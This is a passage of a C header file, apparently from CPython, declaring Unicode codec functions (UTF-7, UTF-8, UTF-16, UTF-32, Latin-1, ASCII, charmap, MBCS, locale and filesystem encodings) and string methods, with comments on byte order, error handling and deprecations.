PyUnicode_AsUTF8 #endif /* Returns "utf-8". */ PyAPI_FUNC(const char*) PyUnicode_GetDefaultEncoding(void); /* --- Generic Codecs ----------------------------------------------------- */ /* Create a Unicode object by decoding the encoded string s of the given size. */ PyAPI_FUNC(PyObject*) PyUnicode_Decode( const char *s, /* encoded string */ Py_ssize_t size, /* size of buffer */ const char *encoding, /* encoding */ const char *errors /* error handling */ ); /* Decode a Unicode object unicode and return the result as Python object. This API is DEPRECATED. The only supported standard encoding is rot13. Use PyCodec_Decode() to decode with rot13 and non-standard codecs that decode from str. */ PyAPI_FUNC(PyObject*) PyUnicode_AsDecodedObject( PyObject *unicode, /* Unicode object */ const char *encoding, /* encoding */ const char *errors /* error handling */ ) Py_DEPRECATED(3.6); /* Decode a Unicode object unicode and return the result as Unicode object. This API is DEPRECATED. The only supported standard encoding is rot13. Use PyCodec_Decode() to decode with rot13 and non-standard codecs that decode from str to str. */ PyAPI_FUNC(PyObject*) PyUnicode_AsDecodedUnicode( PyObject *unicode, /* Unicode object */ const char *encoding, /* encoding */ const char *errors /* error handling */ ) Py_DEPRECATED(3.6); /* Encodes a Py_UNICODE buffer of the given size and returns a Python string object. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_Encode( const Py_UNICODE *s, /* Unicode char buffer */ Py_ssize_t size, /* number of Py_UNICODE chars to encode */ const char *encoding, /* encoding */ const char *errors /* error handling */ ); #endif /* Encodes a Unicode object and returns the result as Python object. This API is DEPRECATED. It is superceeded by PyUnicode_AsEncodedString() since all standard encodings (except rot13) encode str to bytes. Use PyCodec_Encode() for encoding with rot13 and non-standard codecs that encode form str to non-bytes. */ PyAPI_FUNC(PyObject*) PyUnicode_AsEncodedObject( PyObject *unicode, /* Unicode object */ const char *encoding, /* encoding */ const char *errors /* error handling */ ) Py_DEPRECATED(3.6); /* Encodes a Unicode object and returns the result as Python string object. */ PyAPI_FUNC(PyObject*) PyUnicode_AsEncodedString( PyObject *unicode, /* Unicode object */ const char *encoding, /* encoding */ const char *errors /* error handling */ ); /* Encodes a Unicode object and returns the result as Unicode object. This API is DEPRECATED. The only supported standard encodings is rot13. Use PyCodec_Encode() to encode with rot13 and non-standard codecs that encode from str to str. */ PyAPI_FUNC(PyObject*) PyUnicode_AsEncodedUnicode( PyObject *unicode, /* Unicode object */ const char *encoding, /* encoding */ const char *errors /* error handling */ ) Py_DEPRECATED(3.6); /* Build an encoding map. */ PyAPI_FUNC(PyObject*) PyUnicode_BuildEncodingMap( PyObject* string /* 256 character map */ ); /* --- UTF-7 Codecs ------------------------------------------------------- */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF7( const char *string, /* UTF-7 encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF7Stateful( const char *string, /* UTF-7 encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ Py_ssize_t *consumed /* bytes consumed */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF7( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* number of Py_UNICODE chars to encode */ int base64SetO, /* Encode RFC2152 Set O characters in base64 */ int base64WhiteSpace, /* Encode whitespace (sp, ht, nl, cr) in base64 */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) _PyUnicode_EncodeUTF7( PyObject *unicode, /* Unicode object */ int base64SetO, /* Encode RFC2152 Set O characters in base64 */ int base64WhiteSpace, /* Encode whitespace (sp, ht, nl, cr) in base64 */ const char *errors /* error handling */ ); #endif /* --- UTF-8 Codecs ------------------------------------------------------- */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF8( const char *string, /* UTF-8 encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF8Stateful( const char *string, /* UTF-8 encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ Py_ssize_t *consumed /* bytes consumed */ ); PyAPI_FUNC(PyObject*) PyUnicode_AsUTF8String( PyObject *unicode /* Unicode object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyUnicode_AsUTF8String( PyObject *unicode, const char *errors); PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF8( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* number of Py_UNICODE chars to encode */ const char *errors /* error handling */ ); #endif /* --- UTF-32 Codecs ------------------------------------------------------ */ /* Decodes length bytes from a UTF-32 encoded buffer string and returns the corresponding Unicode object. errors (if non-NULL) defines the error handling. It defaults to "strict". If byteorder is non-NULL, the decoder starts decoding using the given byte order: *byteorder == -1: little endian *byteorder == 0: native order *byteorder == 1: big endian In native mode, the first four bytes of the stream are checked for a BOM mark. If found, the BOM mark is analysed, the byte order adjusted and the BOM skipped. In the other modes, no BOM mark interpretation is done. After completion, *byteorder is set to the current byte order at the end of input data. If byteorder is NULL, the codec starts in native order mode. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF32( const char *string, /* UTF-32 encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ int *byteorder /* pointer to byteorder to use 0=native;-1=LE,1=BE; updated on exit */ ); PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF32Stateful( const char *string, /* UTF-32 encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ int *byteorder, /* pointer to byteorder to use 0=native;-1=LE,1=BE; updated on exit */ Py_ssize_t *consumed /* bytes consumed */ ); /* Returns a Python string using the UTF-32 encoding in native byte order. The string always starts with a BOM mark. */ PyAPI_FUNC(PyObject*) PyUnicode_AsUTF32String( PyObject *unicode /* Unicode object */ ); /* Returns a Python string object holding the UTF-32 encoded value of the Unicode data. If byteorder is not 0, output is written according to the following byte order: byteorder == -1: little endian byteorder == 0: native byte order (writes a BOM mark) byteorder == 1: big endian If byteorder is 0, the output string will always start with the Unicode BOM mark (U+FEFF). In the other two modes, no BOM mark is prepended. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF32( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* number of Py_UNICODE chars to encode */ const char *errors, /* error handling */ int byteorder /* byteorder to use 0=BOM+native;-1=LE,1=BE */ ); PyAPI_FUNC(PyObject*) _PyUnicode_EncodeUTF32( PyObject *object, /* Unicode object */ const char *errors, /* error handling */ int byteorder /* byteorder to use 0=BOM+native;-1=LE,1=BE */ ); #endif /* --- UTF-16 Codecs ------------------------------------------------------ */ /* Decodes length bytes from a UTF-16 encoded buffer string and returns the corresponding Unicode object. errors (if non-NULL) defines the error handling. It defaults to "strict". If byteorder is non-NULL, the decoder starts decoding using the given byte order: *byteorder == -1: little endian *byteorder == 0: native order *byteorder == 1: big endian In native mode, the first two bytes of the stream are checked for a BOM mark. If found, the BOM mark is analysed, the byte order adjusted and the BOM skipped. In the other modes, no BOM mark interpretation is done. After completion, *byteorder is set to the current byte order at the end of input data. If byteorder is NULL, the codec starts in native order mode. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF16( const char *string, /* UTF-16 encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ int *byteorder /* pointer to byteorder to use 0=native;-1=LE,1=BE; updated on exit */ ); PyAPI_FUNC(PyObject*) PyUnicode_DecodeUTF16Stateful( const char *string, /* UTF-16 encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ int *byteorder, /* pointer to byteorder to use 0=native;-1=LE,1=BE; updated on exit */ Py_ssize_t *consumed /* bytes consumed */ ); /* Returns a Python string using the UTF-16 encoding in native byte order. The string always starts with a BOM mark. */ PyAPI_FUNC(PyObject*) PyUnicode_AsUTF16String( PyObject *unicode /* Unicode object */ ); /* Returns a Python string object holding the UTF-16 encoded value of the Unicode data. If byteorder is not 0, output is written according to the following byte order: byteorder == -1: little endian byteorder == 0: native byte order (writes a BOM mark) byteorder == 1: big endian If byteorder is 0, the output string will always start with the Unicode BOM mark (U+FEFF). In the other two modes, no BOM mark is prepended. Note that Py_UNICODE data is being interpreted as UTF-16 reduced to UCS-2. This trick makes it possible to add full UTF-16 capabilities at a later point without compromising the APIs. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeUTF16( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* number of Py_UNICODE chars to encode */ const char *errors, /* error handling */ int byteorder /* byteorder to use 0=BOM+native;-1=LE,1=BE */ ); PyAPI_FUNC(PyObject*) _PyUnicode_EncodeUTF16( PyObject* unicode, /* Unicode object */ const char *errors, /* error handling */ int byteorder /* byteorder to use 0=BOM+native;-1=LE,1=BE */ ); #endif /* --- Unicode-Escape Codecs ---------------------------------------------- */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeUnicodeEscape( const char *string, /* Unicode-Escape encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); #ifndef Py_LIMITED_API /* Helper for PyUnicode_DecodeUnicodeEscape that detects invalid escape chars. */ PyAPI_FUNC(PyObject*) _PyUnicode_DecodeUnicodeEscape( const char *string, /* Unicode-Escape encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ const char **first_invalid_escape /* on return, points to first invalid escaped char in string. */ ); #endif PyAPI_FUNC(PyObject*) PyUnicode_AsUnicodeEscapeString( PyObject *unicode /* Unicode object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeUnicodeEscape( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length /* Number of Py_UNICODE chars to encode */ ); #endif /* --- Raw-Unicode-Escape Codecs ------------------------------------------ */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeRawUnicodeEscape( const char *string, /* Raw-Unicode-Escape encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_AsRawUnicodeEscapeString( PyObject *unicode /* Unicode object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeRawUnicodeEscape( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length /* Number of Py_UNICODE chars to encode */ ); #endif /* --- Unicode Internal Codec --------------------------------------------- Only for internal use in _codecsmodule.c */ #ifndef Py_LIMITED_API PyObject *_PyUnicode_DecodeUnicodeInternal( const char *string, Py_ssize_t length, const char *errors ); #endif /* --- Latin-1 Codecs ----------------------------------------------------- Note: Latin-1 corresponds to the first 256 Unicode ordinals. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeLatin1( const char *string, /* Latin-1 encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_AsLatin1String( PyObject *unicode /* Unicode object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyUnicode_AsLatin1String( PyObject* unicode, const char* errors); PyAPI_FUNC(PyObject*) PyUnicode_EncodeLatin1( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ const char *errors /* error handling */ ); #endif /* --- ASCII Codecs ------------------------------------------------------- Only 7-bit ASCII data is excepted. All other codes generate errors. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeASCII( const char *string, /* ASCII encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_AsASCIIString( PyObject *unicode /* Unicode object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyUnicode_AsASCIIString( PyObject* unicode, const char* errors); PyAPI_FUNC(PyObject*) PyUnicode_EncodeASCII( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ const char *errors /* error handling */ ); #endif /* --- Character Map Codecs ----------------------------------------------- This codec uses mappings to encode and decode characters. Decoding mappings must map byte ordinals (integers in the range from 0 to 255) to Unicode strings, integers (which are then interpreted as Unicode ordinals) or None. Unmapped data bytes (ones which cause a LookupError) as well as mapped to None, 0xFFFE or '\ufffe' are treated as "undefined mapping" and cause an error. Encoding mappings must map Unicode ordinal integers to bytes objects, integers in the range from 0 to 255 or None. Unmapped character ordinals (ones which cause a LookupError) as well as mapped to None are treated as "undefined mapping" and cause an error. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeCharmap( const char *string, /* Encoded string */ Py_ssize_t length, /* size of string */ PyObject *mapping, /* decoding mapping */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_AsCharmapString( PyObject *unicode, /* Unicode object */ PyObject *mapping /* encoding mapping */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeCharmap( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ PyObject *mapping, /* encoding mapping */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) _PyUnicode_EncodeCharmap( PyObject *unicode, /* Unicode object */ PyObject *mapping, /* encoding mapping */ const char *errors /* error handling */ ); #endif /* Translate a Py_UNICODE buffer of the given length by applying a character mapping table to it and return the resulting Unicode object. The mapping table must map Unicode ordinal integers to Unicode strings, Unicode ordinal integers or None (causing deletion of the character). Mapping tables may be dictionaries or sequences. Unmapped character ordinals (ones which cause a LookupError) are left untouched and are copied as-is. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) PyUnicode_TranslateCharmap( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ PyObject *table, /* Translate table */ const char *errors /* error handling */ ); #endif #ifdef MS_WINDOWS /* --- MBCS codecs for Windows -------------------------------------------- */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeMBCS( const char *string, /* MBCS encoded string */ Py_ssize_t length, /* size of string */ const char *errors /* error handling */ ); PyAPI_FUNC(PyObject*) PyUnicode_DecodeMBCSStateful( const char *string, /* MBCS encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ Py_ssize_t *consumed /* bytes consumed */ ); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject*) PyUnicode_DecodeCodePageStateful( int code_page, /* code page number */ const char *string, /* encoded string */ Py_ssize_t length, /* size of string */ const char *errors, /* error handling */ Py_ssize_t *consumed /* bytes consumed */ ); #endif PyAPI_FUNC(PyObject*) PyUnicode_AsMBCSString( PyObject *unicode /* Unicode object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_EncodeMBCS( const Py_UNICODE *data, /* Unicode char buffer */ Py_ssize_t length, /* number of Py_UNICODE chars to encode */ const char *errors /* error handling */ ); #endif #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(PyObject*) PyUnicode_EncodeCodePage( int code_page, /* code page number */ PyObject *unicode, /* Unicode object */ const char *errors /* error handling */ ); #endif #endif /* MS_WINDOWS */ /* --- Decimal Encoder ---------------------------------------------------- */ /* Takes a Unicode string holding a decimal value and writes it into an output buffer using standard ASCII digit codes. The output buffer has to provide at least length+1 bytes of storage area. The output string is 0-terminated. The encoder converts whitespace to ' ', decimal characters to their corresponding ASCII digit and all other Latin-1 characters except \0 as-is. Characters outside this range (Unicode ordinals 1-256) are treated as errors. This includes embedded NULL bytes. Error handling is defined by the errors argument: NULL or "strict": raise a ValueError "ignore": ignore the wrong characters (these are not copied to the output buffer) "replace": replaces illegal characters with '?' Returns 0 on success, -1 on failure. */ #ifndef Py_LIMITED_API PyAPI_FUNC(int) PyUnicode_EncodeDecimal( Py_UNICODE *s, /* Unicode buffer */ Py_ssize_t length, /* Number of Py_UNICODE chars to encode */ char *output, /* Output buffer; must have size >= length */ const char *errors /* error handling */ ); #endif /* Transforms code points that have decimal digit property to the corresponding ASCII digit code points. Returns a new Unicode string on success, NULL on failure. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) PyUnicode_TransformDecimalToASCII( Py_UNICODE *s, /* Unicode buffer */ Py_ssize_t length /* Number of Py_UNICODE chars to transform */ ); #endif /* Similar to PyUnicode_TransformDecimalToASCII(), but takes a PyObject as argument instead of a raw buffer and length. This function additionally transforms spaces to ASCII because this is what the callers in longobject, floatobject, and complexobject did anyways. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyUnicode_TransformDecimalAndSpaceToASCII( PyObject *unicode /* Unicode object */ ); #endif /* --- Locale encoding --------------------------------------------------- */ #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 /* Decode a string from the current locale encoding. The decoder is strict if *surrogateescape* is equal to zero, otherwise it uses the 'surrogateescape' error handler (PEP 383) to escape undecodable bytes. If a byte sequence can be decoded as a surrogate character and *surrogateescape* is not equal to zero, the byte sequence is escaped using the 'surrogateescape' error handler instead of being decoded. *str* must end with a null character but cannot contain embedded null characters. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeLocaleAndSize( const char *str, Py_ssize_t len, const char *errors); /* Similar to PyUnicode_DecodeLocaleAndSize(), but compute the string length using strlen(). */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeLocale( const char *str, const char *errors); /* Encode a Unicode object to the current locale encoding. The encoder is strict is *surrogateescape* is equal to zero, otherwise the "surrogateescape" error handler is used. Return a bytes object. The string cannot contain embedded null characters. */ PyAPI_FUNC(PyObject*) PyUnicode_EncodeLocale( PyObject *unicode, const char *errors ); #endif /* --- File system encoding ---------------------------------------------- */ /* ParseTuple converter: encode str objects to bytes using PyUnicode_EncodeFSDefault(); bytes objects are output as-is. */ PyAPI_FUNC(int) PyUnicode_FSConverter(PyObject*, void*); /* ParseTuple converter: decode bytes objects to unicode using PyUnicode_DecodeFSDefaultAndSize(); str objects are output as-is. */ PyAPI_FUNC(int) PyUnicode_FSDecoder(PyObject*, void*); /* Decode a null-terminated string using Py_FileSystemDefaultEncoding and the "surrogateescape" error handler. If Py_FileSystemDefaultEncoding is not set, fall back to the locale encoding. Use PyUnicode_DecodeFSDefaultAndSize() if the string length is known. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeFSDefault( const char *s /* encoded string */ ); /* Decode a string using Py_FileSystemDefaultEncoding and the "surrogateescape" error handler. If Py_FileSystemDefaultEncoding is not set, fall back to the locale encoding. */ PyAPI_FUNC(PyObject*) PyUnicode_DecodeFSDefaultAndSize( const char *s, /* encoded string */ Py_ssize_t size /* size */ ); /* Encode a Unicode object to Py_FileSystemDefaultEncoding with the "surrogateescape" error handler, and return bytes. If Py_FileSystemDefaultEncoding is not set, fall back to the locale encoding. */ PyAPI_FUNC(PyObject*) PyUnicode_EncodeFSDefault( PyObject *unicode ); /* --- Methods & Slots ---------------------------------------------------- These are capable of handling Unicode objects and strings on input (we refer to them as strings in the descriptions) and return Unicode objects or integers as appropriate. */ /* Concat two strings giving a new Unicode string. */ PyAPI_FUNC(PyObject*) PyUnicode_Concat( PyObject *left, /* Left string */ PyObject *right /* Right string */ ); /* Concat two strings and put the result in *pleft (sets *pleft to NULL on error) */ PyAPI_FUNC(void) PyUnicode_Append( PyObject **pleft, /* Pointer to left string */ PyObject *right /* Right string */ ); /* Concat two strings, put the result in *pleft and drop the right object (sets *pleft to NULL on error) */ PyAPI_FUNC(void) PyUnicode_AppendAndDel( PyObject **pleft, /* Pointer to left string */ PyObject *right /* Right string */ ); /* Split a string giving a list of Unicode strings. If sep is NULL, splitting will be done at all whitespace substrings. Otherwise, splits occur at the given separator. At most maxsplit splits will be done. If negative, no limit is set. Separators are not included in the resulting list. */ PyAPI_FUNC(PyObject*) PyUnicode_Split( PyObject *s, /* String to split */ PyObject *sep, /* String separator */ Py_ssize_t maxsplit /* Maxsplit count */ ); /* Dito, but split at line breaks. CRLF is considered to be one line break. Line breaks are not included in the resulting list. */ PyAPI_FUNC(PyObject*) PyUnicode_Splitlines( PyObject *s, /* String to split */ int keepends /* If true, line end markers are included */ ); /* Partition a string using a given separator. */ PyAPI_FUNC(PyObject*) PyUnicode_Partition( PyObject *s, /* String to partition */ PyObject *sep /* String separator */ ); /* Partition a string using a given separator, searching from the end of the string. */ PyAPI_FUNC(PyObject*) PyUnicode_RPartition( PyObject *s, /* String to partition */ PyObject *sep /* String separator */ ); /* Split a string giving a list of Unicode strings. If sep is NULL, splitting will be done at all whitespace substrings. Otherwise, splits occur at the given separator. At most maxsplit splits will be done. But unlike PyUnicode_Split PyUnicode_RSplit splits from the end of the string. If negative, no limit is set. Separators are not included in the resulting list. */ PyAPI_FUNC(PyObject*) PyUnicode_RSplit( PyObject *s, /* String to split */ PyObject *sep, /* String separator */ Py_ssize_t maxsplit /* Maxsplit count */ ); /* Translate a string by applying a character mapping table to it and return the resulting Unicode object. The mapping table must map Unicode ordinal integers to Unicode strings, Unicode ordinal integers or None (causing deletion of the character). Mapping tables may be dictionaries or sequences. Unmapped character ordinals (ones which cause a LookupError) are left untouched and are copied as-is. */ PyAPI_FUNC(PyObject *) PyUnicode_Translate( PyObject *str, /* String */ PyObject *table, /* Translate table */ const char *errors /* error handling */ ); /* Join a sequence of strings using the given separator and return the resulting Unicode string. */ PyAPI_FUNC(PyObject*) PyUnicode_Join( PyObject *separator, /* Separator string */ PyObject *seq /* Sequence object */ ); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyUnicode_JoinArray( PyObject *separator, PyObject **items, Py_ssize_t seqlen ); #endif /* Py_LIMITED_API */ /* Return 1 if substr matches str[start:end] at the given tail end, 0 otherwise. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_Tailmatch( PyObject *str, /* String */ PyObject *substr, /* Prefix or Suffix string */ Py_ssize_t start, /* Start index */ Py_ssize_t end, /* Stop index */ int direction /* Tail end: -1 prefix, +1 suffix */ ); /* Return the first position of substr in str[start:end] using the given search direction or -1 if not found. -2 is returned in case an error occurred and an exception is set. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_Find( PyObject *str, /* String */ PyObject *substr, /* Substring to find */ Py_ssize_t start, /* Start index */ Py_ssize_t end, /* Stop index */ int direction /* Find direction: +1 forward, -1 backward */ ); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 /* Like PyUnicode_Find, but search for single character only. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_FindChar( PyObject *str, Py_UCS4 ch, Py_ssize_t start, Py_ssize_t end, int direction ); #endif /* Count the number of occurrences of substr in str[start:end]. */ PyAPI_FUNC(Py_ssize_t) PyUnicode_Count( PyObject *str, /* String */ PyObject *substr, /* Substring to count */ Py_ssize_t start, /* Start index */ Py_ssize_t end /* Stop index */ ); /* Replace at most maxcount occurrences of substr in str with replstr and return the resulting Unicode object. */ PyAPI_FUNC(PyObject *) PyUnicode_Replace( PyObject *str, /* String */ PyObject *substr, /* Substring to find */ PyObject *replstr, /* Substring to replace */ Py_ssize_t maxcount /* Max. number of replacements to apply; -1 = all */ ); /* Compare two strings and return -1, 0, 1 for less than, equal, greater than resp. Raise an exception and return -1 on error. */ PyAPI_FUNC(int) PyUnicode_Compare( PyObject *left, /* Left string */ PyObject *right /* Right string */ ); #ifndef Py_LIMITED_API /* Test whether a unicode is equal to ASCII identifier. Return 1 if true, 0 otherwise. The right argument must be ASCII identifier. Any error occurs inside will be cleared before return. */ PyAPI_FUNC(int) _PyUnicode_EqualToASCIIId( PyObject *left, /* Left string */ _Py_Identifier *right /* Right identifier */ ); #endif /* Compare a Unicode object with C string and return -1, 0, 1 for less than, equal, and greater than, respectively. It is best to pass only ASCII-encoded strings, but the function interprets the input string as ISO-8859-1 if it contains non-ASCII characters. This function does not raise exceptions. */ PyAPI_FUNC(int) PyUnicode_CompareWithASCIIString( PyObject *left, const char *right /* ASCII-encoded string */ ); #ifndef Py_LIMITED_API /* Test whether a unicode is equal to ASCII string. Return 1 if true, 0 otherwise. The right argument must be ASCII-encoded string. Any error occurs inside will be cleared before return. */ PyAPI_FUNC(int) _PyUnicode_EqualToASCIIString( PyObject *left, const char *right /* ASCII-encoded string */ ); #endif /* Rich compare two strings and return one of the following: - NULL in case an exception was raised - Py_True or Py_False for successful comparisons - Py_NotImplemented in case the type combination is unknown Possible values for op: Py_GT, Py_GE, Py_EQ, Py_NE, Py_LT, Py_LE */ PyAPI_FUNC(PyObject *) PyUnicode_RichCompare( PyObject *left, /* Left string */ PyObject *right, /* Right string */ int op /* Operation: Py_EQ, Py_NE, Py_GT, etc. */ ); /* Apply an argument tuple or dictionary to a format string and return the resulting Unicode string. */ PyAPI_FUNC(PyObject *) PyUnicode_Format( PyObject *format, /* Format string */ PyObject *args /* Argument tuple or dictionary */ ); /* Checks whether element is contained in container and return 1/0 accordingly. element has to coerce to a one element Unicode string. -1 is returned in case of an error. */ PyAPI_FUNC(int) PyUnicode_Contains( PyObject *container, /* Container string */ PyObject *element /* Element string */ ); /* Checks whether argument is a valid identifier. */ PyAPI_FUNC(int) PyUnicode_IsIdentifier(PyObject *s); #ifndef Py_LIMITED_API /* Externally visible for str.strip(unicode) */ PyAPI_FUNC(PyObject *) _PyUnicode_XStrip( PyObject *self, int striptype, PyObject *sepobj ); #endif /* Using explicit passed-in values, insert the thousands grouping into the string pointed to by buffer. For the argument descriptions, see Objects/stringlib/localeutil.h */ #ifndef Py_LIMITED_API PyAPI_FUNC(Py_ssize_t) _PyUnicode_InsertThousandsGrouping( _PyUnicodeWriter *writer, Py_ssize_t n_buffer, PyObject *digits, Py_ssize_t d_pos, Py_ssize_t n_digits, Py_ssize_t min_width, const char *grouping, PyObject *thousands_sep, Py_UCS4 *maxchar); #endif /* === Characters Type APIs =============================================== */ /* Helper array used by Py_UNICODE_ISSPACE(). */ #ifndef Py_LIMITED_API PyAPI_DATA(const unsigned char) _Py_ascii_whitespace[]; /* These should not be used directly. Use the Py_UNICODE_IS* and Py_UNICODE_TO* macros instead. These APIs are implemented in Objects/unicodectype.c. */ PyAPI_FUNC(int) _PyUnicode_IsLowercase( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsUppercase( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsTitlecase( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsXidStart( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsXidContinue( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsWhitespace( const Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsLinebreak( const Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(Py_UCS4) _PyUnicode_ToLowercase( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(Py_UCS4) _PyUnicode_ToUppercase( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(Py_UCS4) _PyUnicode_ToTitlecase( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_ToLowerFull( Py_UCS4 ch, /* Unicode character */ Py_UCS4 *res ); PyAPI_FUNC(int) _PyUnicode_ToTitleFull( Py_UCS4 ch, /* Unicode character */ Py_UCS4 *res ); PyAPI_FUNC(int) _PyUnicode_ToUpperFull( Py_UCS4 ch, /* Unicode character */ Py_UCS4 *res ); PyAPI_FUNC(int) _PyUnicode_ToFoldedFull( Py_UCS4 ch, /* Unicode character */ Py_UCS4 *res ); PyAPI_FUNC(int) _PyUnicode_IsCaseIgnorable( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsCased( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_ToDecimalDigit( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_ToDigit( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(double) _PyUnicode_ToNumeric( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsDecimalDigit( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsDigit( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsNumeric( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsPrintable( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(int) _PyUnicode_IsAlpha( Py_UCS4 ch /* Unicode character */ ); PyAPI_FUNC(size_t) Py_UNICODE_strlen( const Py_UNICODE *u ); PyAPI_FUNC(Py_UNICODE*) Py_UNICODE_strcpy( Py_UNICODE *s1, const Py_UNICODE *s2); PyAPI_FUNC(Py_UNICODE*) Py_UNICODE_strcat( Py_UNICODE *s1, const Py_UNICODE *s2); PyAPI_FUNC(Py_UNICODE*) Py_UNICODE_strncpy( Py_UNICODE *s1, const Py_UNICODE *s2, size_t n); PyAPI_FUNC(int) Py_UNICODE_strcmp( const Py_UNICODE *s1, const Py_UNICODE *s2 ); PyAPI_FUNC(int) Py_UNICODE_strncmp( const Py_UNICODE *s1, const Py_UNICODE *s2, size_t n ); PyAPI_FUNC(Py_UNICODE*) Py_UNICODE_strchr( const Py_UNICODE *s, Py_UNICODE c ); PyAPI_FUNC(Py_UNICODE*) Py_UNICODE_strrchr( const Py_UNICODE *s, Py_UNICODE c ); PyAPI_FUNC(PyObject*) _PyUnicode_FormatLong(PyObject *, int, int, int); /* Create a copy of a unicode string ending with a nul character. Return NULL and raise a MemoryError exception on memory allocation failure, otherwise return a new allocated buffer (use PyMem_Free() to free the buffer). */ PyAPI_FUNC(Py_UNICODE*) PyUnicode_AsUnicodeCopy( 